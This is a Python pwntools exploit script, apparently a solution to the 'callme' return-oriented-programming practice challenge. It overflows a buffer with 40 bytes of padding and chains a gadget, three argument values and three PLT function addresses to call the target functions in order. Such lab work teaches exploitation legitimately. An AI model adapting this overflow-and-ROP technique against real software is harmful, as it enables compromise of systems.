56 lines
986 B
Python
Executable File
56 lines
986 B
Python
Executable File
#!/usr/bin/env python3
|
|
from pwn import *
|
|
|
|
usefulGadgets = p64(0x000000000040093c)
|
|
# pop rdi
|
|
# pop rsi
|
|
# pop rdx
|
|
# ret
|
|
|
|
arg1 = p64(0xdeadbeefdeadbeef)
|
|
arg2 = p64(0xcafebabecafebabe)
|
|
arg3 = p64(0xd00df00dd00df00d)
|
|
|
|
callme_1_plt = p64(0x0000000000400720)
|
|
callme_2_plt = p64(0x0000000000400740)
|
|
callme_3_plt = p64(0x00000000004006f0)
|
|
|
|
#jmp qword ptr [rbp]
|
|
#jmp rax
|
|
#jmp qword ptr [rax]
|
|
#pop rbp ; ret
|
|
|
|
#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret <- change stack pointer to fin (or some other writable executable part)
|
|
|
|
|
|
prog = process('./callme')
|
|
payload = b''
|
|
for c in range(40):
|
|
payload += b'a'
|
|
|
|
payload += usefulGadgets
|
|
payload += arg1
|
|
payload += arg2
|
|
payload += arg3
|
|
payload += callme_1_plt
|
|
|
|
payload += usefulGadgets
|
|
payload += arg1
|
|
payload += arg2
|
|
payload += arg3
|
|
payload += callme_2_plt
|
|
|
|
payload += usefulGadgets
|
|
payload += arg1
|
|
payload += arg2
|
|
payload += arg3
|
|
payload += callme_3_plt
|
|
|
|
|
|
|
|
|
|
payload += b"\n"
|
|
prog.sendline(payload)
|
|
sleep(1)
|
|
print(str(prog.recv(), 'UTF-8'))
|